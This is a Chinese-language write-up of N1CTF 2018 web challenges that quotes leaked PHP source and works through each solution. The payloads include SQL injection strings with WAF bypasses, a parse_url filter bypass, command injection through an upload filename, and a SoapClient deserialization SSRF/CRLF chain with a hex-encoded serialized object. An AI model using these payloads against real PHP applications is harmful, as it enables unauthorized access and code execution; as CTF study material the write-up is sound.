n1ctf Web Writeup

To begin with

和队友水过了n1ctf的两天,然而也没有做出几道题来,想着总结下本次遇到的问题,再把题目思路回忆一遍,权当作总结吧

77777

77777是n1里面最简单的web注入了。


看到题目首先想到了sprintf的格式化串解析问题,然而变量在第二个参数里,只能分析SQLi了,sql语句中有个waf,测试后大部分语句没有过滤,刚开始想用带外注入,然后发现主机是Linux的。之后有两种思路,单个字符注入或者直接注入出来。
使用flag=0&hi=+ord(substr(password,1,1))可单个注出,长度可用length拿到。
使用flag=0&hi=+conv(hex(substr(password,1,4)),16,10),可分多次拼接注出。然而我刚开始没加substr超过整数上限了,一直sorry(傻)。

77777 2

在上面的题目上字段变为了pw,waf增强了很多。
使用length得到长度22,测试发现pw前后加空格可绕过waf,过滤了left ord ascii 2 3 4 5 j J where regexp like < ^ = (hex忘记了
最后思路是,flag=0&hi=+(substr( pw ,1+1+1+...,1)>'a') 特殊情况使用char()表示
使用python自动注出来就ok了

funning eating cms

盲测题目发现不能直接登录,注册一个帐号后登录,进入user.php?page=guset,感觉有包含,于是果然得到了部分页面的源码。

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

fuction.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $user = Filter($user);
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

之后尝试insert注入发现username被限制了,没有想到办法绕过。收集信息发现了info页面泄露了ffffllllaaaaggg.htm这个信息,所以要想办法访问被限制的这个界面,$uri = parse_url($_SERVER["REQUEST_URI"]);验证逻辑中这条语句可在path中加入/来绕过,如/////user.php?page=php://filter
添加多个/后parseurl解析出现问题,一般只存在一个,解析正常,/user.php为path,query为后面的参数,两个时,//user.php成为host,原来的参数变为path,三个及以上时返回false

array(2) {
  ["path"]=>
  string(6) "/t.php"
  ["query"]=>
  string(64) "page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg"
} //正常情况

array(2) {
  ["host"]=>
  string(14) "t.php?page=php"
  ["path"]=>
  string(55) "//filter/convert.base64-encode/resource=ffffllllaaaaggg"
}//两个/

通过这个可以拿到ffffllllaaaaggg.php

然后

然后访问m4aaa这个页面

发现有上传入口,找到请求页面源码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

只对扩展名进行了限制,使用system对图片进行了编码,存在RCE。
最后的步骤

另外,服务器开了xdubug,可以直接查到flag

easy php

大概是水平范围内解不出来的题了
首先是DockerFile

FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh
RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh
EXPOSE 80
CMD ["/run.sh"]

然后是部分源码泄漏

http://47.97.221.96:23333/index.php  
http://47.97.221.96:23333/config.php  
http://47.97.221.96:23333/user.php  
http://47.97.221.96:23333/static

http://47.97.221.96:23333/index.php~  
http://47.97.221.96:23333/config.php~  
http://47.97.221.96:23333/user.php~

http://47.97.221.96:23333/views  
http://47.97.221.96:23333/views/delete  
http://47.97.221.96:23333/views/index  
http://47.97.221.96:23333/views/login  
http://47.97.221.96:23333/views/profile  
http://47.97.221.96:23333/views/publish  
http://47.97.221.96:23333/views/register

# command line: <?php system("php -r \"phpinfo();\"") ?>
http://47.97.221.96:23333/views/phpinfo  

还有本地文件包含得到的run.sh等信息
只给部分怀疑点
user.php

    public function check_username($username)
    {
        if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
            return false;
        else
            return true;
    }

    function register()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code error");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name');
            if(!$this->is_exists($username)) {
                $db = new Db();
                @$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
 
    function login()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code erroar");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name');
            $db = new Db();
            @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

注册和登录无法注入。

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;
        }

    }

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);
                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                return $data;
            }
            else
                return false;
        }
        else
        {
            $filenames = scandir('adminpic/');
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));
        }
    }

publish函数,$_POST['signature']未经过过滤,且存在序列化$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip()))); ,admin可以上传文件。
showmess有$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));

config.php

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}

对所有请求变量进行转义。

分析当前思路,登录和注册过程无法改变,如果要获得admin权限需要通过其他途径。当前还有publish的注入和序列化可以利用。以及一个本地文件包含,拿到了run.sh文件,从中可以看到mysql的root和password。

先尝试SQL注入,分析源码可知,进入values()的字符串进行了如下操作:
array('aaa','bbb','ccc')=>`aaa`,`bbb`,`ccc`=>'aaa','bbb','ccc'

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }
    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

signature可控,可构造盲注。如:
signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(5),1))#&mood=1
signature=1`,((select if((select database()) like 0x25,sleep(5),0)))&mood=1

wonderkun师傅给了另外的思路:

  1. insert into table (`username`,`password`) values ('user1','pass1'),('user2','pass2'),可以直接插入两条记录,用password覆盖第二条的signature,需要用到的$this->userid,$this->username我们可在LFI中拿到。(下文)
  2. Mood有输出点
echo htmlentities($data['data'][$i]['sig'])."<br><br>";
$mood = (int)$data['data'][$i]['mood']['mood'];
echo "<img src='img/$mood.gif'><br><br>";
echo "published ".$data['data'][$i]['subtime']."<br>";

Mood类的mood参数被直接输出到页面中了,但是需要注意的是进行了一个int类型的转换,如果可以伪造Mood类的mood属性就可以了。

$mode = new Mood((int)"1","114.114.114.114");
$mode->data = "0";  // 把data设置为0,可以直观的从页面的publish time中看到注入的数据是否被成功反序列化
echo serialize($mode);
//O:4:"Mood":4:{s:4:"mood";i:1;s:2:"ip";s:15:"114.114.114.114";s:4:"date";i:1520912184;s:4:"data";s:1:"0";}

在php中,最大的整形是8个字节,所以有32个字节的数据,分四次读出,每次8个字节,转化为10进制。
payload:signature=username`,concat(`O:4:"Mood":3:{s:4:"mood";i:`,(select conv(hex((select mid((select password from ctf_users where is_admin=1 ),1,8))),16,10)),`;s:2:"ip";s:15:"114.114.114.114";s:4:"date";s:1:"0";}`))#&mood=0
访问页面会有img.gif的请求,对文件名解码得到password。

在此拿到了md5值,可得password:nu1ladmin
然而登录限制了RemoteAddr,无法登录。题目给出提示有SSRF,但是需要其他漏洞来使用。继续收集信息。

LFI还可以包含临时文件和session文件,我们暂时拿不到临时文件的地址,对session文件尝试。在/var/lib/php5/sess_xxxxx。里面是`code|s:5:"xxxxx",用来登陆验证码。登陆后还包含了is_admin,userid,username信息,没有我们可以控制的点,且username被限制了白名单。

非预期解法:

  1. PHP : Winning the race against PHP 中利用Docker镜像中残留的phpinfo()进行上传进而包含本地文件getshell,此外需要条件竞争rm -rf /tmp/*;,反弹shell得到flag。
  2. N1CTF 2018-Web中,利用phpinfo cli中upload_progress.enabled开启信息,并且给出了session.save_path,此时想到一个session_upload的解法,曾经在jarvis-oj也出现过:http://web.jarvisoj.com:32784/
    关于PHP_SESSION_UPLOAD_PROGRESS的官方手册
    条件竞争包含session文件getshell

出题者给出的解法:
反序列化+SSRF+CRLF

在showmess和pushlish中,分别有
$mood = unserialize($row[2]);
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

此处我们希望找到可控的魔术方法或者带有getcountry等方法的类。然而这并不好找到。
而在调用一个类的不可访问的方法的时候,就会去调用__call方法。可以寻找重载了这个方法的自有类,如soapClient。(第一次听说)
示例:

$client = new SoapClient(null, array('location' =>    "http://127.0.0.1:9999", 'uri'=>"http://test-uri/"));
$se = serialize($client);
var_dump($se);
$unse = unserialize($se);
$unse -> getcountry();

会发送如下的包:

POST / HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.5.9-1ubuntu4.11
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://test-uri/#getcountry"
Content-Length: 386

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://test-uri/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>

可以发现这是一个SSRF,但是Content-Type类型和data都不符合要求。
但是在文档中有如下说明:
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
wsdl
URI of the WSDL file or NULL if working in non-WSDL mode.
options
The user_agent option specifies string to use in User-Agent header.

测试代码如下:

location = "http://127.0.0.1:9999/a.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\ntest:testxx",'location'=>$location,'uri'=>$uri));
$event->getcountry();

//收到的请求为
/*
POST /a.php?action=login HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
test:testxx
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#getcountry"
Content-Length: 387

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
*/

利用这个CRLF:

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=11617';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=mbjep6vjsfum3qvtm395rohp34'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

payload:

POST /index.php?action=publish HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 735
Referer: http://192.168.59.128/index.php?action=publish
Cookie: PHPSESSID=8e9onhkhj1satsceo1e9qgn060
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

signature=test`,0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3139363a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d6d626a657036766a7366756d337176746d333935726f687033340d0a436f6e74656e742d4c656e6774683a2034340d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d3131363137223b733a31333a225f736f61705f76657273696f6e223b693a313b7d)#&mood=0


GET /index.php?action=index HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.128/index.php?action=login
Cookie: PHPSESSID=8e9onhkhj1satsceo1e9qgn060
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

更换其中的session和验证码为当前未登录的session和验证码,之后刷新页面节拿到了admin的权限。

,还有一种方法:利用uri达到CRLF的方法,使用了Connection: Keep-Alive这个条件。

到了这一步,我们已经登陆进去了。

之后就可以上传文件了

function upload($file){
    $file_size  = $file['size'];
    if($file_size>2*1024*1024) {
        echo "pic is too big!";
        return false;
    }
    $file_type = $file['type'];
    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
        echo "file type invalid";
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])) {
        $uploaded_file = $file['tmp_name'];
        $user_path =  "/app/adminpic";
        if (!file_exists($user_path)) {
            mkdir($user_path);
        }
        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
        else
            return false;
    }
    else
        return false;
}

####
# /home/nu1lctf/clean_danger.sh
cd /app/adminpic/ 
rm *.jpg 
cd /var/www/html/adminpic/ 
rm * 

上传一个以-开头的文件,就删除不掉了,估计是因为 bash在做*符号展开之后,直接把-test.jpg传给了rm命令,然后rm命令就把-后面内容全部作为参数解析,导致命令执行失败。
date_default_timezone_set("PRC");
根据时间爆破一下文件名,LFI拿到shell。
flag在数据库里,可以通过在开始收集到的信息登录。

What's more

回顾完大部分题目,感觉到出题人的接触的面很广,很佩服。
还是要努力学习,差的很多,看wp复现解题过程都耗了很久。最后感谢师傅们写的writeup,基本都已经在原文中加了超链。

最后附本次题目的源码的官方wp

xmsec

作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub